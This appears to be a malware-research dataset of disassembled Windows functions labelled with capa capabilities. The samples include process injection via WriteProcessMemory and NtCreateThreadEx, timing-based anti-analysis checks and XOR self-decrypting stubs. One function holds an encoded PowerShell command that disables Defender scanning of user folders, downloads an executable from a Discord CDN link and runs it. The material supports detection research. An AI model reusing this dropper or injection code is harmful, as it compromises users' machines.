joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10041a78
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link function at runtime on windows

Disassembly:
mov dword [ebp - 4], ebx
jmp 0x10089873
push eax
jmp 0x10066d01
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
pop edi
mov si, di
not ebx
pop esi
pop ebx
jmp 0x10032c67
pop ebp
jmp 0x1000141c
mov dword [ebp - 8], eax
jmp 0x10041f45
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
jmp 0x10056a63
push ebx
cmp edx, esi
cmc
cmp edi, 0x6e3a445e
push esi
push edi
push eax
adc esi, 0x16039fd
push 1
sub ebx, ebx
movsx esi, dx
push 0x1fffff
xchg esi, esi
mov si, 0x1bcc
mov esi, ecx
jmp 0x100058e0
mov esp, ebp
jmp 0x100161db
push edi
jmp 0x100191f3
mov dword [0x100043e0], eax
jmp 0x100451e0
push 0
jmp 0x1008a844
push ebp
rcl bp, 0xd7
bsr bp, bx
mov ebp, esp
sub esp, 8
test bx, si
cmp cl, ch
jmp 0x1002d81c
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push str.NtCreateThreadEx
push str.ntdll.dll
jmp 0x1008a11e
call ebx
mov dword [0x100043e4], eax
mov eax, esi
sar dx, cl
ror edx, 0x9d
lea edx, [eax + 2]
test di, 0x2529
test ecx, ebx
lea ecx, [ecx]
bsr cx, ax
mov cx, word [eax]
cmp di, 0xa6c
clc
add eax, 2
cmp sp, 0x2245
test cx, cx
jmp 0x1005c582
push edx
call eax
mov eax, dword [ebp - 4]
jmp 0x1000c9d3
mov dword [0x100045f8], eax
jmp 0x1007e452
push 0x10001c50
jmp 0x100568f8
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
push 0
xchg ebx, ebx
bswap bx
setb bl
push 0x224
cmovb bx, sp
mov ebx, ecx
not ebx
push 0x100043e0
cmovg ebx, esi
not ebx
mov ebx, eax
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0x40
sub esi, 0x12a8a
and si, ax
btr si, 0xeb
push 0x3000
sal si, 0x6b
mov esi, 0x10001c90
sub esi, 0x10001c50
jmp 0x100934aa
push eax
jmp 0x10036858
push str.RtlInitUnicodeString
jmp 0x10007087
jne 0x10045200
sub eax, edx
sar eax, 1
cmove dx, cx
lea edx, [eax + eax + 2]
push edx
jmp 0x10075812
mov dword [0x100043dc], eax
jmp 0x1007dce3
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
push 0
push esi
jmp 0x100520bc
call sub.MSVCR100.dll_memcpy
add esp, 0xc
sub eax, eax
jmp 0x1005028a
push 4
push 0x3000
push 0x1000
jmp 0x1003da44
push esi
push 0x100043f0
jmp 0x1006bbd5
mov dword [0x10004018], ebx
jmp 0x100218e7
push edi
jmp 0x10068eb7
je 0x100702f9
push str.ntdll.dll
jmp 0x10077ba6
call ebx
mov ecx, dword [0x100043dc]
jmp 0x10089ecf
mov dword [0x100045fc], eax
mov dword [0x10004600], 0xffffffff
jmp 0x100702f9
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 8]
movzx edx, si
cwd
push 0
push 0
mov dh, 0x99
bswap dx
movzx dx, ah
push 0
push 0
push 0
push ebx
push ecx
movsx dx, ch
push edi
push 0
mov dx, di
not dx
push 0x1fffff
cdq
mov edx, esi
lea edx, [ebp - 4]
jmp 0x100474bf
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
cmp dword [0x10004018], ebx
jmp 0x10079a5c
push str.LdrLoadDll
jmp 0x100926ad
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
jmp 0x10083338
push edi
jmp 0x1005632c
push ecx
jmp 0x10036b9a
push esi
push 0
jmp 0x1007860f
Function at 0x1005ed75
Capabilities:
Parse pe header

Disassembly:
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jmp 0x100428c6
ret
jne 0x1005ed99
sub edx, edx
xadd dl, dl
mov ecx, 0x10b
cmp word [eax + 0x18], cx
sete dl
cbw
mov eax, edx
mov bp, 0x19f1
jmp 0x10059b17
pop ebp
jmp 0x10028828
mov edi, edi
sub al, 0x32
shl ah, 0x7e
push ebp
movzx ebp, bp
or ah, 0x29
ror ecx, 0x56
mov ebp, esp
mov ecx, dword [ebp + 8]
mov eax, 0x5a4d
cmp word [ecx], ax
je 0x1001156c
sub eax, eax
pop ebp
jmp 0x1008f470
ret

Function at 0x100694ca
Capabilities:
Check for time delay via queryperformancecounter

Disassembly:
test ebx, esi
jmp 0x10066bf5
cmp esi, edi
jmp 0x10076b41
je 0x100333b3
not eax
jmp 0x100430c5
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
xor esi, eax
jmp 0x100354ef
and dword [ebp - 8], 0
jmp 0x1006c9bb
ret
call dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov eax, dword [ebp - 0xc]
cmp ch, 0xf2
test edi, 0x5c183374
xor eax, dword [ebp - 0x10]
cmp ebx, edi
xor esi, eax
jmp 0x1000ee59
push esi
lea eax, [ebp - 8]
jmp 0x1004cbb3
call dword [sym.imp.KERNEL32.dll_GetTickCount]
xor esi, eax
cmovl eax, edi
lahf
movsx ax, al
lea eax, [ebp - 0x10]
jmp 0x10065cf0
je 0x100333b3
test ebx, eax
jmp 0x10010bff
mov dword [0x10004004], eax
jmp 0x10061d01
push eax
jmp 0x10091f2a
jmp 0x10066c43
push eax
jmp 0x10028299
mov dword [section..data], esi
bswap edi
movzx ebx, cx
mov di, dx
not esi
not di
xchg ebx, ebx
bswap bx
mov dword [0x10004004], esi
not esi
bswap bx
pop esi
mov di, 0x7235
bswap ebx
xchg edi, edi
pop edi
cmovle ebx, esi
pop ebx
jmp 0x1006862e
leave
jmp 0x10026d8e
mov edi, edi
push ebp
mov ebp, esp
dec ah
ror al, 0xd9
lea esp, [esp - 0x10]
add eax, 0x4c846f09
not eax
mov eax, dword [section..data]
stc
jmp 0x1002517f
and dword [ebp - 4], 0
push ebx
add ebx, ecx
movsx ebx, sp
btr bx, 0x74
push edi
bt ebx, ecx
adc di, cx
btc ebx, edx
mov edi, 0xbb40e64e
mov ebx, 0xffff0000
cmp ax, si
cmc
cmp eax, edi
jmp 0x10041a37
jne 0x1000233e
mov esi, 0xbb40e64f
jmp 0x10066c17
call dword [sym.imp.KERNEL32.dll_GetSystemTimeAsFileTime]
mov esi, dword [ebp - 4]
cmc
xor esi, dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
xor esi, eax
jmp 0x1001cb3c
Function at 0x402e8c
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
push esi
push edi
lea edi, [ebp - 0x50]
mov ecx, 0x14
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
mov dword [ebp - 0x34], 0x30
mov dword [ebp - 0x30], 3
mov dword [ebp - 0x2c], 0x403005
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x24], 0
mov eax, dword [ebp + 8]
mov dword [ebp - 0x20], eax
mov esi, esp
push 0x7f00
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.USER32.dll_LoadIconA]
cmp esi, esp
call sub.MSVCRT.dll__chkesp
mov dword [ebp - 0x1c], eax
mov esi, esp
push 0x7f00
push 0
call dword [sym.imp.USER32.dll_LoadCursorA]
cmp esi, esp
call sub.MSVCRT.dll__chkesp
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], 5
mov dword [ebp - 0x10], 0
mov dword [ebp - 0xc], 0x40f530
mov esi, esp
push 0x7f00
mov edx, dword [ebp - 0x20]
push edx
call dword [sym.imp.USER32.dll_LoadIconA]
cmp esi, esp
call sub.MSVCRT.dll__chkesp
mov dword [ebp - 8], eax
mov esi, esp
lea eax, [ebp - 0x34]
push eax
call dword [sym.imp.USER32.dll_RegisterClassExA]
cmp esi, esp
call sub.MSVCRT.dll__chkesp
mov esi, esp
push 0
mov ecx, dword [ebp + 8]
push ecx
push 0
push 0
push 0x127
push 0x1cc
push 0x80000000
push 0x80000000
push 0
push 0x40f538
push 0x40f53c
push 0
call dword [sym.imp.USER32.dll_CreateWindowExA]
cmp esi, esp
call sub.MSVCRT.dll__chkesp
mov dword [ebp - 4], eax
mov esi, esp
mov edx, dword [ebp + 0x14]
push edx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
cmp esi, esp
call sub.MSVCRT.dll__chkesp
mov esi, esp
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.USER32.dll_UpdateWindow]
cmp esi, esp
call sub.MSVCRT.dll__chkesp
mov esi, esp
push 0
push 0
push 0
lea edx, [ebp - 0x50]
push edx
call dword [sym.imp.USER32.dll_GetMessageA]
cmp esi, esp
call sub.MSVCRT.dll__chkesp
test eax, eax
je 0x402ff0
mov esi, esp
lea eax, [ebp - 0x50]
push eax
call dword [sym.imp.USER32.dll_TranslateMessage]
cmp esi, esp
call sub.MSVCRT.dll__chkesp
mov esi, esp
lea ecx, [ebp - 0x50]
push ecx
call dword [sym.imp.USER32.dll_DispatchMessageA]
cmp esi, esp
call sub.MSVCRT.dll__chkesp
jmp 0x402fab
mov eax, dword [ebp - 0x48]
pop edi
pop esi
add esp, 0x50
cmp ebp, esp
call sub.MSVCRT.dll__chkesp
mov esp, ebp
pop ebp
ret 0x10
Function at 0x403705
Capabilities:
Copy file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x120
push esi
push edi
lea edi, [ebp - 0x120]
mov ecx, 0x48
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
mov dword [ebp - 0x114], 0
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x110]
push ecx
call sub.MSVCRT.dll_strcpy
add esp, 8
push 0x40f620
lea edx, [ebp - 0x110]
push edx
call sub.MSVCRT.dll_strcat
add esp, 8
mov esi, esp
push 1
lea eax, [ebp - 0x110]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
cmp esi, esp
call sub.MSVCRT.dll__chkesp
push 0x40f628
mov edx, dword [ebp + 8]
push edx
call sub.MSVCRT.dll_fopen
add esp, 8
mov dword [ebp - 0x11c], eax
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], 0
mov byte [ebp - 0x118], 0
mov eax, dword [ebp + 0xc]
mov ecx, dword [eax]
push ecx
mov ecx, 0x4070e8
call fcn.00403e80
mov ecx, eax
call fcn.004016a7
mov dword [ebp - 4], eax
cmp dword [ebp - 0x11c], 0
je 0x40388c
mov dword [ebp - 0x120], 0
jmp 0x4037dd
mov edx, dword [ebp - 0x120]
add edx, 1
mov dword [ebp - 0x120], edx
mov eax, dword [ebp - 0x120]
cmp eax, dword [ebp - 4]
jge 0x403879
lea ecx, [ebp - 0x120]
push ecx
mov edx, dword [ebp + 0xc]
mov eax, dword [edx]
push eax
mov ecx, 0x4070e8
call fcn.00403e80
mov ecx, eax
call fcn.00401675
mov ecx, eax
call fcn.00401431
mov ecx, dword [eax]
mov dword [ebp - 0xc], ecx
mov edx, dword [eax + 4]
mov dword [ebp - 8], edx
lea eax, [ebp - 0xc]
push eax
mov ecx, dword [ebp - 0x11c]
push ecx
call sub.MSVCRT.dll_fsetpos
add esp, 8
lea edx, [ebp - 0x120]
push edx
mov eax, dword [ebp + 0xc]
mov ecx, dword [eax]
push ecx
mov ecx, 0x4070e8
call fcn.00403e80
mov ecx, eax
call fcn.00401675
mov ecx, eax
call int.00401449
mov byte [ebp - 0x118], al
mov edx, dword [ebp - 0x11c]
push edx
push 1
push 1
lea eax, [ebp - 0x118]
push eax
call sub.MSVCRT.dll_fwrite
add esp, 0x10
jmp 0x4037ce
mov ecx, dword [ebp - 0x11c]
push ecx
call sub.MSVCRT.dll_fclose
add esp, 4
mov al, 1
jmp 0x40388e
xor al, al
pop edi
pop esi
add esp, 0x120
cmp ebp, esp
call sub.MSVCRT.dll__chkesp
mov esp, ebp
pop ebp
ret

Function at 0x1ce3700
Capabilities:
Decompress data using aplib

Disassembly:
pushal
mov esi, dword [esp + 0x24]
mov edi, dword [esp + 0x28]
cld
mov dl, 0x80
xor ebx, ebx
movsb byte es:[edi], byte [esi]
mov bl, 2
call fcn.01ce378f
jae 0x1ce370e
xor ecx, ecx
call fcn.01ce378f
jae 0x1ce373d
xor eax, eax
call fcn.01ce378f
jae 0x1ce374d
mov bl, 2
inc ecx
mov al, 0x10
call fcn.01ce378f
adc al, al
jae 0x1ce372f
jne 0x1ce3779
stosb byte es:[edi], al
jmp 0x1ce3711
call fcn.01ce379b
sub ecx, ebx
jne 0x1ce3756
call fcn.01ce3799
jmp 0x1ce3775
lodsb al, byte [esi]
shr eax, 1
je 0x1ce3783
adc ecx, ecx
jmp 0x1ce3772
xchg ecx, eax
dec eax
shl eax, 8
lodsb al, byte [esi]
call fcn.01ce3799
cmp eax, 0x7d00
jae 0x1ce3772
cmp ah, 5
jae 0x1ce3773
cmp eax, 0x7f
ja 0x1ce3774
inc ecx
inc ecx
xchg ebp, eax
mov eax, ebp
mov bl, 1
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x1ce3711
sub edi, dword [esp + 0x28]
mov dword [esp + 0x1c], edi
popal
ret 8
Function at 0x4c661d
Capabilities:
Clear file content

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
mov ebx, dword [ebp + 8]
lea ecx, [ebp - 0x2c]
push esi
push edi
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.004c67c0
mov eax, dword [ebp - 0x2c]
and eax, dword [ebp - 0x28]
cmp eax, 0xffffffff
je 0x4c6795
mov eax, dword [ebp - 0x24]
and eax, dword [ebp - 0x20]
cmp eax, 0xffffffff
je 0x4c6795
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 8], ecx
mov dword [ebp - 4], eax
test ecx, ecx
jl 0x4c6744
jg 0x4c6676
test eax, eax
je 0x4c673a
push 1
push 0x1000
call fcn.004b7bc4
mov esi, eax
pop ecx
pop ecx
test esi, esi
jne 0x4c669c
mov eax, dword [ebp + 0x14]
push 0xc
pop edi
mov byte [eax + 0x1c], 1
mov dword [eax + 0x18], edi
jmp 0x4c6731
push 0x8000
push ebx
call fcn.004aefb0
mov edi, dword [ebp + 0x14]
pop ecx
pop ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x18]
test eax, eax
jl 0x4c66c8
jg 0x4c66c3
cmp ecx, 0x1000
jb 0x4c66c8
mov ecx, 0x1000
push edi
push ecx
push esi
push ebx
call fcn.004bd246
add esp, 0x10
cmp eax, 0xffffffff
je 0x4c670d
mov ecx, dword [ebp - 4]
cdq
sub ecx, eax
mov eax, dword [ebp - 8]
mov dword [ebp - 4], ecx
sbb eax, edx
mov dword [ebp - 8], eax
test eax, eax
jg 0x4c66c3
jl 0x4c66f4
test ecx, ecx
jne 0x4c66b5
push dword [ebp - 0xc]
push ebx
call fcn.004aefb0
push esi
call fcn.004b6016
add esp, 0xc
xor edi, edi
jmp 0x4c67a6
cmp byte [edi + 0x24], 0
je 0x4c6724
cmp dword [edi + 0x20], 5
jne 0x4c6724
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], 0xd
cmp byte [edi + 0x1c], 0
je 0x4c672f
mov edi, dword [edi + 0x18]
jmp 0x4c6731
xor edi, edi
push esi
call fcn.004b6016
pop ecx
jmp 0x4c67a6
test ecx, ecx
jg 0x4c6706
jl 0x4c6744
test eax, eax
jae 0x4c6706
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.004c49c0
and eax, edx
add esp, 0x10
cmp eax, 0xffffffff
jne 0x4c6767
mov edi, dword [ebp + 0x14]
cmp byte [edi + 0x1c], 0
je 0x4c6706
jmp 0x4c679e
push ebx
call fcn.004bc450
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x4c6706
mov esi, dword [ebp + 0x14]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0xd
mov byte [esi + 0x24], 1
mov dword [esi + 0x20], eax
pop edi
mov byte [esi + 0x1c], 1
mov dword [esi + 0x18], edi
jmp 0x4c67a6
mov edi, dword [ebp + 0x14]
cmp byte [edi + 0x1c], 0
je 0x4c67a3
mov edi, dword [edi + 0x18]
jmp 0x4c67a6
push 0x16
pop edi
push 0
push dword [ebp - 0x28]
push dword [ebp - 0x2c]
push dword [ebp - 0x14]
call fcn.004c49c0
add esp, 0x10
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x3133700
Capabilities:
Decompress data using aplib

Disassembly:
pushal
mov esi, dword [esp + 0x24]
mov edi, dword [esp + 0x28]
cld
mov dl, 0x80
xor ebx, ebx
movsb byte es:[edi], byte [esi]
mov bl, 2
call fcn.0313378f
jae 0x313370e
xor ecx, ecx
call fcn.0313378f
jae 0x313373d
xor eax, eax
call fcn.0313378f
jae 0x313374d
mov bl, 2
inc ecx
mov al, 0x10
call fcn.0313378f
adc al, al
jae 0x313372f
jne 0x3133779
stosb byte es:[edi], al
jmp 0x3133711
call fcn.0313379b
sub ecx, ebx
jne 0x3133756
call fcn.03133799
jmp 0x3133775
lodsb al, byte [esi]
shr eax, 1
je 0x3133783
adc ecx, ecx
jmp 0x3133772
xchg ecx, eax
dec eax
shl eax, 8
lodsb al, byte [esi]
call fcn.03133799
cmp eax, 0x7d00
jae 0x3133772
cmp ah, 5
jae 0x3133773
cmp eax, 0x7f
ja 0x3133774
inc ecx
inc ecx
xchg ebp, eax
mov eax, ebp
mov bl, 1
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x3133711
sub edi, dword [esp + 0x28]
mov dword [esp + 0x1c], edi
popal
ret 8

Function at 0x314ea1c
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffde0
push esi
push edi
xor ecx, ecx
mov esi, dword [ebp + 8]
lea edi, [ebp - 0x100]
lodsb al, byte [esi]
or al, al
je 0x314ea45
inc ecx
test cl, 3
je 0x314ea42
shl eax, 8
jmp 0x314ea32
stosd dword es:[edi], eax
jmp 0x314ea32
mov al, 0x80
push ecx
inc ecx
test cl, 3
je 0x314ea53
shl eax, 8
jmp 0x314ea48
stosd dword es:[edi], eax
xor eax, eax
jmp 0x314ea5c
stosd dword es:[edi], eax
add ecx, 4
cmp ecx, 0x3c
jb 0x314ea58
pop eax
shl eax, 3
stosd dword es:[edi], eax
sub ecx, 0xc
mov eax, dword [edi - 0x3c]
push ecx
mov ecx, eax
mov edx, eax
ror eax, 7
ror ecx, 0x12
shr edx, 3
xor eax, ecx
xor eax, edx
push eax
mov eax, dword [edi - 8]
mov ecx, eax
mov edx, eax
ror eax, 0x11
ror ecx, 0x13
shr edx, 0xa
xor eax, ecx
xor eax, edx
add dword [esp], eax
pop eax
add eax, dword [edi - 0x40]
pop ecx
add eax, dword [edi - 0x1c]
stosd dword es:[edi], eax
loop 0x314ea69
call int.0314eac6
out 9, al
push 0xffffffffffffff85
scasb al, byte es:[edi]
mov ebx, 0x3c6ef372
cmp dh, ch
dec edi
movsd dword es:[edi], dword [esi]
jg 0x314eb0a
push cs
push ecx
mov word [eax + 5], gs
wait
stosd dword es:[edi], eax
fld dword [ebx - 0x1f32e6e1]
pop ebx
invalid
Function at 0x100017c1
Capabilities:
Link many functions at runtime

Disassembly:
push ebx
push edi
push 0x14
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov edi, eax
pop ecx
test edi, edi
je 0x1000185c
push str.jvm.dll
call dword [sym.imp.kernel32.dll_GetModuleHandleA]
mov ebx, eax
test ebx, ebx
jne 0x100017f3
push edi
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
pop ecx
xor eax, eax
jmp 0x1000185e
push esi
mov esi, dword [sym.imp.kernel32.dll_GetProcAddress]
push str.JVM_DTraceGetVersion
push ebx
call esi
push str.JVM_DTraceIsSupported
push ebx
mov dword [edi], eax
call esi
push str.JVM_DTraceActivate
push ebx
mov dword [edi + 4], eax
call esi
push str.JVM_DTraceDispose
push ebx
mov dword [edi + 8], eax
call esi
push str.JVM_DTraceIsProbeEnabled
push ebx
mov dword [edi + 0xc], eax
call esi
push ebx
mov dword [edi + 0x10], eax
call dword [sym.imp.kernel32.dll_FreeLibrary]
xor esi, esi
cmp dword [edi], esi
je 0x10001851
cmp dword [edi + 4], esi
je 0x10001851
cmp dword [edi + 8], esi
je 0x10001851
cmp dword [edi + 0xc], esi
je 0x10001851
cmp dword [edi + 0x10], esi
jne 0x1000185b
push edi
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
pop ecx
mov edi, esi
pop esi
mov eax, edi
pop edi
pop ebx
ret

Function at 0x100022cf
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
pushal
call 0x100022de
pop dword [ebp - 0xc]
mov eax, 0x2ec7716c
sub eax, 0x1ec74e8e
sub dword [ebp - 0xc], eax
mov dword [ebp - 0x1c], 0x642d6b66
add dword [ebp - 0x1c], 0xea24d9e5
mov dword [ebp - 0x18], 0x70a63706
sub dword [ebp - 0x18], 0x3e72eac1
mov dword [ebp - 0x14], 0xa4d0dce5
add dword [ebp - 0x14], 0xa77b6749
mov dword [ebp - 0x10], 0x6b234eb4
add dword [ebp - 0x10], 0x94dcb14c
lea eax, [ebp - 0x1c]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0xc]
call dword [eax]
mov dword [ebp - 0x1c], 0xb0059d18
sub dword [ebp - 0x1c], 0x3b9333c2
mov dword [ebp - 0x18], 0xcc7902b0
sub dword [ebp - 0x18], 0x8b0ca13b
mov dword [ebp - 0x14], 0xa58ff670
sub dword [ebp - 0x14], 0x42208a04
mov dword [ebp - 0x10], 0x15e48b29
sub dword [ebp - 0x10], 0x15e48b29
lea ebx, [ebp - 0x1c]
push ebx
push eax
mov eax, 0xe34a5960
add eax, 0x2cb5d6a8
add eax, dword [ebp - 0xc]
call dword [eax]
push 0x40
push 0x1000
push 0x33c7e
push 0
call eax
mov ecx, 0xa852d02a
add ecx, 0x57ad6d03
mov edi, eax
mov ebx, 0x17912195
add ebx, 0xf86f406b
add ebx, dword [ebp - 0xc]
mov esi, 0x6e0fd89a
mov edx, dword [ebx]
sub dword [ebp - 8], ecx
xor edx, esi
mov dword [ebp - 4], 0x2475be78
mov dword [edi], edx
xor dword [ebp - 4], eax
add edi, 0x6fc9c4bf
sub edi, 0x6fc9c4bb
add ebx, 4
loop 0x100023f5
add eax, 0xe787
mov ebx, eax
add eax, 5
mov ecx, 0x10000000
add ecx, dword [ebp - 0xc]
call ebx
leave
ret
Function at 0x40d04b
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
pushal
call 0x40d05a
pop dword [ebp - 0x1c]
mov eax, 0xf85e2421
sub eax, 0xf81d53c7
sub dword [ebp - 0x1c], eax
mov dword [ebp - 0x2c], 0x329a57c8
add dword [ebp - 0x2c], 0x1bb7ed83
mov dword [ebp - 0x28], 0x854e698f
sub dword [ebp - 0x28], 0x531b1d4a
mov dword [ebp - 0x24], 0xe6f89889
sub dword [ebp - 0x24], 0x9aac545b
mov dword [ebp - 0x20], 0xc23cfbe1
add dword [ebp - 0x20], 0x3dc3041f
lea eax, [ebp - 0x2c]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x1c]
call dword [eax]
mov dword [ebp - 0x2c], 0x2287cc3f
add dword [ebp - 0x2c], 0x51ea9d17
mov dword [ebp - 0x28], 0x7947653f
sub dword [ebp - 0x28], 0x37db03ca
mov dword [ebp - 0x24], 0xc1c86cfa
add dword [ebp - 0x24], 0xa1a6ff72
mov dword [ebp - 0x20], 0x1c557a7c
sub dword [ebp - 0x20], 0x1c557a7c
lea ebx, [ebp - 0x2c]
push ebx
push eax
mov eax, 0x94d439d
sub eax, 0x90c6315
add eax, dword [ebp - 0x1c]
call dword [eax]
push 0x40
push 0x1000
push 0x36d48
push 0
call eax
mov ecx, 0x4481
xor edx, edx
add edx, eax
mov esi, 0x9ce0a157
add esi, 0x63614ea9
add esi, dword [ebp - 0x1c]
mov ebx, 0x9e6c4dfe
xor dword [ebp - 0x10], 0x6283749b
mov edi, dword [esi]
sub edi, ebx
add dword [ebp - 0x10], ecx
mov dword [edx], edi
mov dword [ebp - 8], 0xd9b9eac7
add edx, 0x3eebc652
sub edx, 0x3eebc64e
add esi, 4
loop 0x40d16d
add eax, 0x104d7
mov ebx, eax
add eax, 0x421255e2
add eax, 0xbdedaa23
mov ecx, 0x400000
add ecx, dword [ebp - 0x1c]
call ebx
leave
ret
Function at 0x401000
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0
nop
mov eax, 0
push eax
mov eax, 0
push eax
mov eax, str._EncodedCommand__PAAjAGgAbgBuACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAdQB5AHEAIwAACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAcgB1AGMAIwAACAALQBGAG8AcgBjAGUAIAA8ACMAcgBqAHoAIwAADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAZABuAC4AZABpAHMAYwBvAHIAZABhAHAAcAAuAGMAbwBtAC8AYQB0AHQAYQBjAGgAbQBlAG4AdABzAC8AMQAyADMAOAA0ADQAOQAxADQAMgA3ADEAMgA1ADAANAAzADkAMgAvADEAMgA0ADEANQA0ADAANgA0ADEAMgA0ADMAMgA2ADcAMAA3ADIALwBMAG8AYQBkAGUAcgAuAGUAeABlAD8AZQB4AD0ANgA2ADQAYQA5ADIANQAzACYAaQBzAD0ANgA2ADQAOQA0ADAAZAAzACYAaABtAD0ANwA2ADQAOABhADEAYwBmADYANABlADUAOQA1AGUAZABiAGMANQA5ADEAMwBlAGYAYgA2ADEAMABlADEANAAxAGIANQAwADQAMQBmADgANgAzAGYANwA0ADMANQA2AGQANgBiADgAMgAzAGUAMQAwADgAYgAxADMAMQBmADgAYgAmACcALAAgADwAIwBoAHAAYwAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAHMAbABtACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGkAcQBrACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFIAMwBuAHoALgBlAHgAZQAnACkAKQA8ACMAbABzAGoAIwAADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAdABxAHUAIwAACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHoAZAB4ACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFIAMwBuAHoALgBlAHgAZQAnACkAPAAjAGoAdQBjACMAPgA_
push eax
mov eax, str.powershell
push eax
mov eax, str.open
push eax
mov eax, 0
push eax
call sub.shell32.dll_ShellExecuteA
mov eax, 0
leave
ret
Function at 0x10014d90
Capabilities:
Terminate process

Disassembly:
mov eax, dword [0x1001f83c]
push dword [esp + 4]
mov eax, dword [eax]
push eax
mov ecx, dword [eax]
mov eax, dword [ecx + 0x234]
call eax
test eax, eax
je 0x10014dd2
push 0x51b
push str.hprof_util.c
push str.Unable_to_get_necessary_JVMTI_capabilities.
push 0
push 0
call fcn.10005090
add esp, 0x14
mov dword [esp + 4], 1
jmp fcn.10005080
ret

Function at 0x10016400
Capabilities:
Terminate process

Disassembly:
mov edx, dword [esp + 4]
xorps xmm0, xmm0
push edx
movups xmmword [edx], xmm0
mov eax, dword [0x1001f83c]
mov eax, dword [eax]
push eax
mov ecx, dword [eax]
mov eax, dword [ecx + 0x22c]
call eax
test eax, eax
je 0x10016449
push 0x50e
push str.hprof_util.c
push str.Unable_to_get_potential_JVMTI_capabilities.
push 0
push 0
call fcn.10005090
add esp, 0x14
mov dword [esp + 4], 1
jmp fcn.10005080
ret

Function at 0x431005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
call 0x43100c
nop
nop
nop
pop eax
nop
nop
add eax, 0x403e6a
nop
